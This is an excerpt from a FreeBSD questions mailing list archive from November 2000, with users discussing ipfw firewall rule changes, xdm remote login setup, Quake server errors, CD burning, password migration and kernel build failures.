> -       ${fwcmd} add deny all from any to 192.168.0.0/16 via ${oif}
> +       ${fwcmd} add deny all from any to 10.0.0.0/8 in via ${oif}
> +       ${fwcmd} add deny all from any to 172.16.0.0/12 in via ${oif}
> +       ${fwcmd} add deny all from any to 192.168.0.0/16 in via ${oif}
> 
>         # Stop draft-manning-dsua-03.txt (1 May 2000) nets (includes RESERVED-1,
>         # DHCP auto-configuration, NET-TEST, MULTICAST (class D), and class E)
>         # on the outside interface
> -       ${fwcmd} add deny all from any to 0.0.0.0/8 via ${oif}
> -       ${fwcmd} add deny all from any to 169.254.0.0/16 via ${oif}
> -       ${fwcmd} add deny all from any to 192.0.2.0/24 via ${oif}
> -       ${fwcmd} add deny all from any to 224.0.0.0/4 via ${oif}
> -       ${fwcmd} add deny all from any to 240.0.0.0/4 via ${oif}
> +       ${fwcmd} add deny all from any to 0.0.0.0/8 in via ${oif}
> +       ${fwcmd} add deny all from any to 169.254.0.0/16 in via ${oif}
> +       ${fwcmd} add deny all from any to 192.0.2.0/24 in via ${oif}
> +       ${fwcmd} add deny all from any to 224.0.0.0/4 in via ${oif}
> +       ${fwcmd} add deny all from any to 240.0.0.0/4 in via ${oif}
> 
>         # Network Address Translation.  This rule is placed here deliberately
>         # so that it does not interfere with the surrounding address-checking
> @@ -197,6 +197,11 @@
>         # translated by natd(8) would match the `deny' rule above.  Similarly
>         # an outgoing packet originated from it before being translated would
>         # match the `deny' rule below.
> +        #
> +        # That comment makes no sense. The rules above and below were
> +        # identical. Rules modified so this actually works for RFC1918
> +        # addresses on the internal interface. - 2000/11/1, cjc
> +        #
> 
Wrong, the rules before and after are not the same, take a closure look.
Let's say you have:

  iip=192.168.1.1 inet=192.168.1.0 imask=255.255.255.0 iif=int0
  oip=1.2.3.4     onet=1.2.3.0     omask=255.255.255.0 oif=ext0

Then we will have:

deny all from any to 192.168.0.0/16 via ext0
...
divert natd all from any to any via ext0
...
deny all from 192.168.0.0/16 to any via ext0

1. Internal host sends a packet outside:

   packet first enters a firewall as incoming through int0:
   192.168.1.100 -> 2.2.2.2 in via int0   (will be passed)

   packet then enters a firewall as outgoing through ext0:
   192.168.1.100 -> 2.2.2.2 out via ext0  (will hit the `divert' rule)

   packet is aliased by natd and passed to firewall again STARTING
   FROM THE RULE WITH NEXT NUMBER:
   1.2.3.4 -> 2.2.2.2 out via ext0        (will be passed)

2. External hosts replies to a packet:

   packet first enters a firewall as incoming through ext0:
   2.2.2.2 -> 1.2.3.4 in via ext0         (will hit the `divert' rule)

   packet is de-aliased by natd and passed to firewall again STARTING
   FROM THE RULE WITH NEXT NUMBER:
   2.2.2.2 -> 192.168.1.100 in via ext0   (will be passed)

   packet then enters a firewall as outgoing through int0:
   2.2.2.2 -> 192.168.1.100 out via int0  (will be passed)

What am I missing here?


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On Thu, Nov 02, 2000 at 10:03:35AM +0200, Ruslan Ermilov wrote:

[snip]

> Wrong, the rules before and after are not the same, take a closure look.

D'oh! You're right. I was misreading them. I saw identical comments
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Hello guys,
 I received many of warnings from You. I'm interested in what are U using to
check e-mails for virus. I'm using sendmail.

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Hello guys,
 I received many of warnings from You. I'm interested in what are U using to
check e-mails for virus. I'm using sendmail.

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I am trying to get FBSD onto my PC but it keeps crashing on 90% of the =
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From owner-freebsd-questions  Thu Nov  2  1:33:33 2000
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On Wed, Nov 01, 2000 at 01:03:13AM -0600, David Talkington wrote:

> In response to others who've answered, I'd like to add that (in my
> experience) if you're interested in some flavor of Unix and friends,
> FreeBSD presents to a newcomer at least one advantage that I don't
> think Linux can match: clear, thorough documentation.

I've been running FreeBSD since 4.0-RELEASE , and at first was horrified to
realise there was nowhere like linuxdoc.org to learn about it.

After asking on the newsgroup for help and being referred to the
manpages, I was amazed to find they hold useful information on this platform.

Unlike (R**h**) Linux, where

'this manpage is no longer maintained - we just like installing files'

seems to be the most common entry.

In the past month, I've started to learn libc,
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The documentation team should be proud.

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From owner-freebsd-questions  Thu Nov  2  1:38:16 2000
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I've got a microlink isdn external modem. I don't  know at all  how to setup
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root@ut.ee wrote:
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> WARNING!

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root@ut.ee wrote:
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> WARNING!

Mail robots uproar... :-)
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<joke>

Nice product... where can I download this??  ;)

Perhaps you should put this in the ports tree??  *chuckle*

</joke>

Cheers,
Marc

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> 
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> 
> We now return you to your regularly scheduled robots...
> 
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> gpg/pgp key on file at wwwkeys.pgp.net

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<joke>

Nice product... where can I download this??  ;)

Perhaps you should put this in the ports tree??  *chuckle*

</joke>

Cheers,
Marc

On Thu, Nov 02, 2000 at 01:14:49AM -0800, Dragos Ruiu wrote:
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> their dog to notify them of this rare occurence for this list.
> 
> Should any other actual highly rare human generated messages be detected 
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> notify you of this extraordinary occurence and deliver a novel form of list
> managed DoS through automated replies and thereby guarantee that your 
> supply of highly repetitive robot messages is not put in jeopardy.
> 
> We now return you to your regularly scheduled robots...
> 
>  -- 
> Dragos Ruiu <dr@dursec.com>   dursec.com ltd. / kyx.net - we're from the future 
> gpg/pgp key on file at wwwkeys.pgp.net

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I'm trying to convert a bunch of old records (yes, records...) to CD, and
have run into a problem (and part of it is memory---I can't remember the
right commands from when my CD-RW was in my old Linux box).

Objective:  burn audio CDs under FreeBSD 4.1.1 in disk-at-once (DAO)
mode to avoid that extra two-second pause between tracks (results in four
seconds when there should be two, and two seconds when there should be
none at all---this is definitely not a good thing!).

Problem:  I can't get cdrdao working.  This morning, I'm having a bit of a
brain fart, and can't even remember what I did before that got me part way,
but I remember getting an error message about /dev/acd1c not being a valid
device.  Funny, burncd doesn't have any gripes about it not being valid....

Can anyone help me get this working?  I know it's just a command line arg
somewhere (or maybe a config setting that I should have adjusted instead of
going with the unmodified port of cdrdao)...but finding that one missing
arg is another matter.  :-(

Thanks,
   --jim

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   Hi, i just installed freeBSD, and the installation wasn't too good =
cause my computer had this problem where the screen turned off by =
itself, and the lights and everything was still on, but anyways, I was =
able to install some stuff cause I kept doing installations (about 5 =
more) most of the error messages said, error on transfer to cpio =
process, try of 1024 bytes, and then at the bottom of the screen it said =
/mnt/usr :file system filled up, and I put about 800mb on the / and =
400mb on the /usr directory.
   But for my question, I have freebsd installed and I'm trying to run =
X, I type startx and I get the messages execue failed for =
/usr/x11r6/bin/x (errno2), then i get this message 6 times: =
_X11TransSocketUNIXConnect : can't connect :errno=3D2, then after that i =
get this xinit: no such file or directory (errno2) : unable to connect =
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Hello.

Quake III Arena (Q3DED) has crashed with the following error...

I do not know if it is a ID Software BUG, FreeBSD, or I need to make some
configuration change to the Linux emulation.

The error is:

clientDownload: 0 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 1 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 2 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 5 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 7 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 3 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 4 : begining "baseq3/thunda3dm1.pk3"
********************
ERROR: FS_HandleForFile: none free <-----------
********************
----- Server Shutdown -----
Sending heartbeat to master3.idsoftware.com
Sending heartbeat to master0.gamespy.com
Sending heartbeat to q3master.barrysworld.com
Sending heartbeat to master3.idsoftware.com
Sending heartbeat to master0.gamespy.com
Sending heartbeat to q3master.barrysworld.com
==== ShutdownGame ====

-----------

The thing to focus on is : ERROR: FS_HandleForFile: none free

Is this a Linux/LIB or FreeBSD error and it is something I can correct by
editing or adding a config option to ld.so.conf?

Thanks!
FREEBSD FOREVER!



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I agree totally.  Just look at the following page - in the early
stages, the documentation dictated the quality of the software.  This
tradition seems, happily, to have been carried over into FreeBSD.

http://www.bell-labs.com/history/unix/manual.html

Dan

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On Wed, Nov 01, 2000 at 01:03:13AM -0600, David Talkington wrote:

> In response to others who've answered, I'd like to add that (in my
> experience) if you're interested in some flavor of Unix and friends,
> FreeBSD presents to a newcomer at least one advantage that I don't
> think Linux can match: clear, thorough documentation.

I've been running FreeBSD since 4.0-RELEASE , and at first was horrified to
realise there was nowhere like linuxdoc.org to learn about it.

After asking on the newsgroup for help and being referred to the
manpages, I was amazed to find they hold useful information on this
platform.

Unlike (R**h**) Linux, where

'this manpage is no longer maintained - we just like installing files'

seems to be the most common entry.

In the past month, I've started to learn libc,
relying heavily on the manpages.

The documentation team should be proud.

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hi

when will fbsd 4.2 release available on ftp servers?

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On Thu, Nov 02, 2000 at 11:01:56AM +0100, Sperber / Anakha wrote:
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> 
> when will fbsd 4.2 release available on ftp servers?
AFAIK sometimes after 15 November, 2000

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> hi
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> when will fbsd 4.2 release available on ftp servers?

After it's released on the 15th of November.

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-------------Original message follows----------------------
Hello.

Quake III Arena (Q3DED) has crashed with the following error...

I do not know if it is a ID Software BUG, FreeBSD, or I need to make some
configuration change to the Linux emulation.

The error is:

clientDownload: 0 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 1 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 2 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 5 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 7 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 3 : begining "baseq3/thunda3dm1.pk3"
clientDownload: 4 : begining "baseq3/thunda3dm1.pk3"
********************
ERROR: FS_HandleForFile: none free <-----------
********************

Sounds like Quake can't handle more downloads than 7. Disable
autodownload and the problem should go away. If you don't want to disable
downloads I suggest asking a quakeserveradminforum for ways of upping the
limit.

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E-Mail: Joel Bjork <u98jobj@stud.hh.se>
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Thanks for the suggestion.  However, I have already tried that, and for some
reason it didn't do any good.

Xdm will start locally so that I can use a graphical login at the console 
(oh, lucky me!), but even for the few minutes I did have it broadcasting, I
never was able to get a session across the network.

Still baffled :o(

Dan

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Sorry if someone alrady replied, but if I remember correctly, all I had to
do was comment out the last line in the xdm-config to get it to work. Hope
that helps.

F.
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[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Daniel Bye
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Subject: XDMCP - broadcast to network.


Hello everybody,

I am trying to configure XDMCP on my FreeBSD 4.0-RELEASE machine.  It is
running
XFree86 3.3.6.  I want to offer X services to other machines on the network,
which
will be using Hummingbird's Exceed software under WinNT.  My host does not
appear
in the chooser menu....

I have had this working once before with a Redhat system, but would like to
get
FreeBSD to do it, too.

I have changed Xaccess to allow connections from any source (the * on a line
by itself)
I have a feeling that I need to define a server in Xserver, but cannot
remember (or find)
the format for the appropriate line...  This is the current contents of the
Xservers file:

:0 local /usr/X11R6/bin/X

And here is my xdm-config:

! $XFree86: xc/programs/xdm/config/xdm-conf.cpp,v 1.1.1.2.4.2 1999/10/12
18:33
:29 hohndel Exp $
!
! $XConsortium: xdm-conf.cpp /main/3 1996/01/15 15:17:26 gildea $
DisplayManager.errorLogFile:    /usr/X11R6/lib/X11/xdm/xdm-errors
DisplayManager.pidFile:         /usr/X11R6/lib/X11/xdm/xdm-pid
DisplayManager.keyFile:         /usr/X11R6/lib/X11/xdm/xdm-keys
DisplayManager.servers:         /usr/X11R6/lib/X11/xdm/Xservers
DisplayManager.accessFile:      /usr/X11R6/lib/X11/xdm/Xaccess
! All displays should use authorization, but we cannot be sure
! X terminals will be configured that way, so by default
! use authorization only for local displays :0, :1, etc.
DisplayManager._0.authorize:    true
DisplayManager._1.authorize:    true
! The following three resources set up display :0 as the console.
DisplayManager._0.setup:        /usr/X11R6/lib/X11/xdm/Xsetup_0
DisplayManager._0.startup:      /usr/X11R6/lib/X11/xdm/GiveConsole
DisplayManager._0.reset:        /usr/X11R6/lib/X11/xdm/TakeConsole
!
DisplayManager*resources:       /usr/X11R6/lib/X11/xdm/Xresources
DisplayManager*session:         /usr/X11R6/lib/X11/xdm/Xsession
DisplayManager*authComplain:    false
! SECURITY: do not listen for XDMCP or Chooser requests
! Comment out this line if you want to manage X terminals with xdm
DisplayManager.requestPort:     1   ###  <<<<<=====  what does this do??


What else do I need to do, so that my machine will be visible in the chooser
menus on other systems?

Any hints or pointers, most gratefully received!  Thanks for listening, all.

Dan Bye
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* Vikash Badal * <VikashB@PQAfrica.co.za> [20001102 08:26]:
=>Greetings,
=>
=>I currently have 17 FreeBSD servers all running version 3.2, I recently
=>downloaded the 3.5 iso image.
=>
=>How can I use the 3.5 image to upgrade the 3.2 servers over the network ?

I'm sure they do not use ISO images to upgrade previous versions - but I
stand to be corrected. 
You can use CVS to 'upgrade' - that is the much I know about it. CVS or
the easier CVSUP they way I do to mine down here..

=>
=>None of my servers have access to the internet --- closed private network

Then you can download the sources by any other means and use it to
update/upgrade... or simply buy the CDs from Freebsdmall.com


-Wash

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Hi!

Since a couple of days, I have an ISDN internet
connection via the German ISP T-Online. They offer an
ISDN box called TELEDAT 150 USB to get connected. Does
anyone have some expereince on how to set up that
thing on freebsd 4.0?


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* Chris Fedde <chris@fedde.littleton.co.us> [20001102 09:07]:
=>On Thu, 2 Nov 2000 07:22:52 +0200  Vikash Badal * wrote:
=> +------------------
=> | I currently have 17 FreeBSD servers all running version 3.2, I recently
=> | downloaded the 3.5 iso image.
=> | 
=> | How can I use the 3.5 image to upgrade the 3.2 servers over the network ?
=> | 
=> | None of my servers have access to the internet --- closed private network
=> +------------------
=>
=>Why stop at 3.5. Why not jump to the latest stable? Anyway.
=>Designate one machine as the install server.  Use vnconfig to map
=>the iso file as a device. Then mount it using cd9660. Now proceed
=>with an FTP install from each install client.

Does that process perform an upgrade?? Just curious to know if that is an
upgrade method..

=>
=>chris
=>
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Hi!

I'm currently setting up my own IRC server
and a webbased IRC leint (wiplash) but I have
some troubles with the 'ident' part. I never
installed an irc server before but this
hybrid thingie works great but when a remote
IRC client connects to the machine it takes
about 4 minutes to 'pass' the 'ident' part.
If you wait 4 mins the connection continues
and you can chat...
Does anybody have some information about
this delay problem ?

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That last line that says "What does this do?" The answer is "! Comment
out this line if you want to manage X terminals with xdm" (right above
it). Comment it out and run your favorite xdm/wdm/kdm/etc from
/etc/ttys and you should be golden. I've got the same setup here.
-Otter


}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Daniel Bye
}Sent: Wednesday, November 01, 2000 12:22 PM
}To: 'questions@freebsd.org'
}Subject: XDMCP - broadcast to network.
}
}
}Hello everybody,
}
}I am trying to configure XDMCP on my FreeBSD 4.0-RELEASE
}machine.  It is
}running
}XFree86 3.3.6.  I want to offer X services to other machines
}on the network,
}which
}will be using Hummingbird's Exceed software under WinNT.  My
}host does not
}appear
}in the chooser menu....
}
}I have had this working once before with a Redhat system,
}but would like to
}get
}FreeBSD to do it, too.
}
}I have changed Xaccess to allow connections from any source
}(the * on a line
}by itself)
}I have a feeling that I need to define a server in Xserver,
}but cannot
}remember (or find)
}the format for the appropriate line...  This is the current
}contents of the
}Xservers file:
}
}:0 local /usr/X11R6/bin/X
}
}And here is my xdm-config:
}
}! $XFree86: xc/programs/xdm/config/xdm-conf.cpp,v
}1.1.1.2.4.2 1999/10/12
}18:33
}:29 hohndel Exp $
}!
}! $XConsortium: xdm-conf.cpp /main/3 1996/01/15 15:17:26 gildea $
}DisplayManager.errorLogFile:    /usr/X11R6/lib/X11/xdm/xdm-errors
}DisplayManager.pidFile:         /usr/X11R6/lib/X11/xdm/xdm-pid
}DisplayManager.keyFile:         /usr/X11R6/lib/X11/xdm/xdm-keys
}DisplayManager.servers:         /usr/X11R6/lib/X11/xdm/Xservers
}DisplayManager.accessFile:      /usr/X11R6/lib/X11/xdm/Xaccess
}! All displays should use authorization, but we cannot be sure
}! X terminals will be configured that way, so by default
}! use authorization only for local displays :0, :1, etc.
}DisplayManager._0.authorize:    true
}DisplayManager._1.authorize:    true
}! The following three resources set up display :0 as the console.
}DisplayManager._0.setup:        /usr/X11R6/lib/X11/xdm/Xsetup_0
}DisplayManager._0.startup:      /usr/X11R6/lib/X11/xdm/GiveConsole
}DisplayManager._0.reset:        /usr/X11R6/lib/X11/xdm/TakeConsole
}!
}DisplayManager*resources:       /usr/X11R6/lib/X11/xdm/Xresources
}DisplayManager*session:         /usr/X11R6/lib/X11/xdm/Xsession
}DisplayManager*authComplain:    false
}! SECURITY: do not listen for XDMCP or Chooser requests
}! Comment out this line if you want to manage X terminals with xdm
}DisplayManager.requestPort:     1   ###  <<<<<=====  what
}does this do??
}
}
}What else do I need to do, so that my machine will be
}visible in the chooser
}menus on other systems?
}
}Any hints or pointers, most gratefully received!  Thanks for
}listening, all.
}
}Dan Bye
}_______________________________
}UUNET UK
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}Cambridge
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}
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Doh!  Got it...  I had set up various REALLY PARANOID settings that
prevented any connections...  All OK now, thanks to those who replied.

I'll go away and be quiet now.. :o)

Dan (slightly embarrassed...)

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That last line that says "What does this do?" The answer is "! Comment
out this line if you want to manage X terminals with xdm" (right above
it). Comment it out and run your favorite xdm/wdm/kdm/etc from
/etc/ttys and you should be golden. I've got the same setup here.
-Otter


}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Daniel Bye
}Sent: Wednesday, November 01, 2000 12:22 PM
}To: 'questions@freebsd.org'
}Subject: XDMCP - broadcast to network.
}
}
}Hello everybody,
}
}I am trying to configure XDMCP on my FreeBSD 4.0-RELEASE
}machine.  It is
}running
}XFree86 3.3.6.  I want to offer X services to other machines
}on the network,
}which
}will be using Hummingbird's Exceed software under WinNT.  My
}host does not
}appear
}in the chooser menu....
}
}I have had this working once before with a Redhat system,
}but would like to
}get
}FreeBSD to do it, too.
}
}I have changed Xaccess to allow connections from any source
}(the * on a line
}by itself)
}I have a feeling that I need to define a server in Xserver,
}but cannot
}remember (or find)
}the format for the appropriate line...  This is the current
}contents of the
}Xservers file:
}
}:0 local /usr/X11R6/bin/X
}
}And here is my xdm-config:
}
}! $XFree86: xc/programs/xdm/config/xdm-conf.cpp,v
}1.1.1.2.4.2 1999/10/12
}18:33
}:29 hohndel Exp $
}!
}! $XConsortium: xdm-conf.cpp /main/3 1996/01/15 15:17:26 gildea $
}DisplayManager.errorLogFile:    /usr/X11R6/lib/X11/xdm/xdm-errors
}DisplayManager.pidFile:         /usr/X11R6/lib/X11/xdm/xdm-pid
}DisplayManager.keyFile:         /usr/X11R6/lib/X11/xdm/xdm-keys
}DisplayManager.servers:         /usr/X11R6/lib/X11/xdm/Xservers
}DisplayManager.accessFile:      /usr/X11R6/lib/X11/xdm/Xaccess
}! All displays should use authorization, but we cannot be sure
}! X terminals will be configured that way, so by default
}! use authorization only for local displays :0, :1, etc.
}DisplayManager._0.authorize:    true
}DisplayManager._1.authorize:    true
}! The following three resources set up display :0 as the console.
}DisplayManager._0.setup:        /usr/X11R6/lib/X11/xdm/Xsetup_0
}DisplayManager._0.startup:      /usr/X11R6/lib/X11/xdm/GiveConsole
}DisplayManager._0.reset:        /usr/X11R6/lib/X11/xdm/TakeConsole
}!
}DisplayManager*resources:       /usr/X11R6/lib/X11/xdm/Xresources
}DisplayManager*session:         /usr/X11R6/lib/X11/xdm/Xsession
}DisplayManager*authComplain:    false
}! SECURITY: do not listen for XDMCP or Chooser requests
}! Comment out this line if you want to manage X terminals with xdm
}DisplayManager.requestPort:     1   ###  <<<<<=====  what
}does this do??
}
}
}What else do I need to do, so that my machine will be
}visible in the chooser
}menus on other systems?
}
}Any hints or pointers, most gratefully received!  Thanks for
}listening, all.
}
}Dan Bye
}_______________________________
}UUNET UK
}FM Server Support Engineer
}Internet House
}332 Science Park
}Milton Road
}Cambridge
}CB4 0BZ
}
}Tel:  01223 250 122
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Hi Experts

I have a FreeBSD 4.1 installation to which I am trying to port one an application
we had working on 3.0.

When it tries to open /dev/cuaa0 is errors with Device busy.
But there is very little running
# ps auxw
USER     PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
root    2664  0.0  0.2   400  228  p0  R+    2:28PM   0:00.00 ps auxw
root       1  0.0  0.2   456  200  ??  ILs  Wed11AM   0:00.01 /sbin/init --
root       2  0.0  0.0     0    0  ??  DL   Wed11AM   0:05.09  (pagedaemon)
root       3  0.0  0.0     0    0  ??  DL   Wed11AM   0:00.00  (vmdaemon)
root       4  0.0  0.0     0    0  ??  DL   Wed11AM   0:02.67  (bufdaemon)
root       5  0.0  0.0     0    0  ??  DL   Wed11AM   0:13.54  (syncer)
root     110  0.0  0.4   904  556  ??  Ss   Wed11AM   0:00.72 syslogd -s
daemon   113  0.0  0.4   924  544  ??  Is   Wed11AM   0:00.01 /usr/sbin/portmap
root     132  0.0  0.5  1028  648  ??  Is   Wed11AM   0:00.04 inetd -wW
root     134  0.0  0.5   948  596  ??  Ss   Wed11AM   0:00.89 cron
root     137  0.0  0.7  1424  932  ??  Ss   Wed11AM   0:00.88 sendmail: accepting connections on port 25 (sendmail)
root     140  0.0  0.5   952  592  ??  Ss   Wed11AM   0:01.33 rlogind
dobbo    141  0.0  0.6  1048  728  p0  Is   Wed11AM   0:00.64 -bash (bash)
root    2292  0.0  0.7  1384  936  p0  I    11:18AM   0:00.12 -su (csh)
root    2296  0.0  0.6  1044  736  p0  S    11:18AM   0:00.21 bash
root    2298  0.0  0.5   952  632  ??  Is   11:19AM   0:00.24 rlogind
dobbo   2299  0.0  0.6  1048  732  p1  Is+  11:19AM   0:00.41 -bash (bash)
root    2315  0.0  2.3  6816 2940  p0  S    11:21AM   0:00.30 /usr/local/ORBacus/bin/nameserv -i
root       0  0.0  0.0     0    0  ??  DLs  Wed11AM   0:00.09  (swapper)

What has grabbed the serial port? I don't see any gettys that might be using it.

Steve
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Why are you so anxious about 4.2-RELEASE? 4.1.1-RELEASE is very good and you
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> when will fbsd 4.2 release available on ftp servers?
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Ras-Sol <ras-sol@usa.net> types:
> > Thus spake Prawit Namutawong (PrawitN@usa.tokyopop.com):
> Ok, not dissing anyone here (since we all start somewhere)
> But is there a FreeBSD list where somewhat more technical problems are
> discussed?
> I can only handle "it drops me in to a root shell in single-user mode" and
> "does FreeBSD run in windows?" so many times...

Well, some of those belong on -newbies, and some should be put into
the FAQ. In fact, that's what makes me do a FAQ writeup - I get
annoyed at seeing them here.

> I would swear I was on a "freebsd-technical" list a few years ago-
> Has this morphed in to the "freebsd-hackers" list?

Can't answer that one - I never saw the -technical list. But the list
of lists says:

	freebsd-hackers                General technical discussion

so that may be what you want.

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You gotta give us _more_ details on what's happening with your FTP installation.
So, I'm guessing thru my experience with the FTP installation that your ISP
disconnected. Therefore, the installation stopped at some point like 90%. I just
simply reconnected with ISP and restarted the installation.

-- jwv

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> 
> I am trying to get FBSD onto my PC but it keeps crashing on 90% of the FTP installation. I have a 6.4 GB hard drive installed so it cant be the fact that it has ran out of space.
> 
> Please help
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Hi all

i got the following message from /var/log
I would like to know what is the meaning


>Nov  2 15:46:15 mail portmap[10361]: connect from 203.248.127.18 to 
> >dump(): request from unauthorized host

Tks much

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what does the -port switch mean whic device does it correspond to as i use
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Am 02. Nov 2000 um 15:20 MET schrieb peter kok:
> >Nov  2 15:46:15 mail portmap[10361]: connect from 203.248.127.18 to 
> > >dump(): request from unauthorized host

Someone scanned your portmapper, mostly to find a broken rpc.statd
to break into your box, but luckily you're running tcp_wrapper who
disconnected the intruder.

Of course there's more than one way to get this message, but this is
the most probable explanation.

From 'man portmap':
"Portmap uses hosts_access(5) access control by default."
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I've been experimenting with window managers and desktops.

One which I'm very interested in is xfce because it resembles the Solaris
desktop.

I installed it successfully as a package, ran xinit with xfwm as the last
line and got a tolerable desktop.  Downloaded the freebsd binaries for a
later version from the xfce site but the file was clearly corrupted in the
transfer and bombed out after three or four files.

Since then, when I try to start xfce I get:

/usr/libexec/ld-elf.so.1: /usr/local/bin/xfce: shared object has no run-time
symbol table

I have run pkg_delete and reinstalled the package without changing this
behaviour.

There are references to the 'no run-time symbol table' in the mailing list
archives but they are not obtainable from the database.

Can anyone suggest a solution please?  Is it the ld-elf.so.1 file which has
become corrupted during the faulty upgrade?

TIA

mvh/regards

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Hello All,

After cvsup'n source a couple days ago for the 4.1.1 branch, and after doing
a make world last night w/o a reboot, I attempted to recompile the kernel,
but was unsuccessful, and it ended abruptly w/ a Stop Error.  Here's the
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cc -0 -pipe -nostdinc -I/usr/obj/usr/src/sys/NOVA/../../.. -I.
-I/usr/include
-o aicasm aicasm_gram.o aicasm_scan.o aicasm.o aicasm_symbol.o -ll
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/usr/lib/crti.o (.init+0x0): first defined here
/usr/lib/crtbegin.o: In function '_fini':
/usr/lib/crtbegin.o(.fini+0x0): multiple definition of '_fini'
/usr/lib/crti.o (.fini+0x0): first defined here

And then the Stop Errors soon after.  This isn't a pure verbatim screen
shot, so I might have retyped something wrong.  I do have an Adaptec 2490U2W
SCSI-PCI host card, w/ an 18G LVD drive.  I haven't ever had this problem w/
the hardware since 3.4, but I've added more PCI devices since then.  Does
anyone know where the root to this error is, and perhaps steps I could try
to resolve it?

Thanks,

Jon
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On Wed, Nov 01, 2000 at 06:48:35PM -0600, Josh Thomas wrote:

|I'm having trouble finding out how to make the wterm background color 
|transparent, I saw the effect awhile ago, and I couldn't find anything about 
|it on the wterm, xterm, or eterm man pages.  Can anybody help me out?

Does wterm pseudo-transparency mode works in Enlightenment?
Try Eterm instead. It should undoubtly works.

Pseudo-transparency capable X VT terminal emulators really depend on the
"underlying" window manager, so choosing the right *term<->window manager
pair is kindda the first step to make pseudo-transparency works.

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Does anyone know if FreeBSD 4.1 supports any of the newer Compaq SmartRAID =
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My hardware vendor says the ones listed at http://www.seeberg.dk/freebsd/id=
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> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of John Indra
> Sent: Wednesday, November 01, 2000 5:05 PM
> To: freebsd-questions@freebsd.org
> Subject: Re: A few questions
>
>
> I'm a long-time qmail user ;) Just look at my header. Even use it for my
> "dial-up - not connected to the net machine"
> I'm just interested in postfix cause I saw many mail server's switching to
> postfix now. There got to be some reason right so I spare some
> time to have
> a look at postfix.
>
> Currently I don't plan to move all my mail server to postfix
> cause I have a
> great dependencies for ezmlm and vpopmail.
> I believe ezmlm is still the best MLM and damn it's so tightly
> coupled with
> qmail ;)
> I heard some mentioning listar though. How about it. Can someone tell me a
> bit about listar? Maybe even comparing qmail+ezmlm vs postfix+listar?

Guessing here, but I'd say that most folks moving to postfix are doing so
because it's the easiest transition to make from sendmail, as I did with a
previous employer and some 5k users.

With that said, using ezmlm and vpopmail with postfix should actually be a
fairly trivial thing to get set up.  With postfix being more flexable than
qmail, I almost went this route, but got crunched for time, and ended up
sticking with qmail for my rollout.  I can't complain about it much at all,
qmail has been very good to me.


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On Thu, Nov 02, 2000 at 10:04:40PM +0700, John Indra wrote:
> Pseudo-transparency capable X VT terminal emulators really depend on the
> "underlying" window manager, so choosing the right *term<->window manager
> pair is kindda the first step to make pseudo-transparency works.
wterm is not WM dependent, but who knows :-) ?

-- 
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To save everybody a lot of bother..

I have discovered that there are now two copies of xfce on my machine, one
in /usr/local/bin and one in /usr/X11R6/bin.  The one in /usr/local/bin gets
read first and produces the error message.  If I quote the full path to the
other one, I get the xfce toolbar.

Clearly the FreeBSD package puts the binaries in one place and the xfce
upgrade package puts them in another.  I have renamed - prior to deleting -
the copy in /usr/local/bin and everything works fine.

mvh/regards

James



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Are there any guides or friendly smart people in here that can assist me
in this task?

I have a FreeBSD 2.5.5 system which we are going to replace with a new box
running FreeBSD 4.1.1

Naturally, I'd like to copy over the /etc/master.passwd file from the old
to the new and retain the usernames and password. I'll edit the /etc/group
file as well.

I've tried this already by doing:

	pwd_mkdb /etc/master.passwd

but none of the passwords are recognized.

It was suggested to me I need to confirm if 2.2.5 is using DES or md5, and
ditto on 4.1.1. This is where I'm lost. How do you find this out?

From what I can see in the master.passwd file, the password length in
2.2.5 is about half the length of the password in 4.1.1

I booted into single user mode, updated the password for root and my
account, then booted back up in normal mode and took a look around.

A grep of the /etc/login.conf for passwd on the 2.2.5 box produces:

	:auth=krb_skey_or_passwd,passwd,kerberos,skey:
        :auth-login=krb_skey_or_passwd,passwd,kerberos,skey:\
        :auth=skey_or_pwd,passwd,skey:

A grep of the /etc/login.conf for passwd on the 4.1.1 box results in
nothing.

Any suggestions? pointer? tips?

Thanks.

Gerry.






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> > After cvsup'n source a couple days ago for the 4.1.1 
> branch, and after doing
> > a make world last night w/o a reboot, I attempted to 
> recompile the kernel,
> > but was unsuccessful, and it ended abruptly w/ a Stop Error.  
> 
> You really should use the updating procedure described in 
> /usr/src/UPDATING.
> It may not be fatal in this case, but it's always a good idea.

The updating procedure I used was gleamed from /usr/src/UPDATING.  It
advices to at least do a make buildworld before kernel compilation so that
all modules are present for the new kernel if new source has been added to
the system.  After that, I believed it outlined the kernel compilation as
this:

cd /usr/src
make buildkernel KERNEL=MYKERNEL
make installkernel KERNEL=MYKERNEL

Also, the file then talked about rebuilding the disk dev's and making sure
the config files are up to date in /etc and the such.  Since I don't have
the document in front of me, I may be mistaken.

Is there something else in the UPDATING file that you're refering to, or did
what I just mention cover the procedures you questioned?

>> last amount of info I wrote down:
>> 
>> cc -0 -pipe -nostdinc -I/usr/obj/usr/src/sys/NOVA/../../.. -I.
>> -I/usr/include
>> -c /usr/src/sys/dev/aic7xxx/aicasm/aicasm_symbol.c
>> cc -0 -pipe -nostdinc -I/usr/obj/usr/src/sys/NOVA/../../.. -I.
>> -I/usr/include
>> -o aicasm aicasm_gram.o aicasm_scan.o aicasm.o aicasm_symbol.o -ll
>> /usr/lib/crtbegin.o: In function '_init':
>> /usr/lib/crtbegin.o(.init+0x0): multiple definition of '_init'
>> /usr/lib/crti.o (.init+0x0): first defined here
>> /usr/lib/crtbegin.o: In function '_fini':
>> /usr/lib/crtbegin.o(.fini+0x0): multiple definition of '_fini'
>> /usr/lib/crti.o (.fini+0x0): first defined here

> 
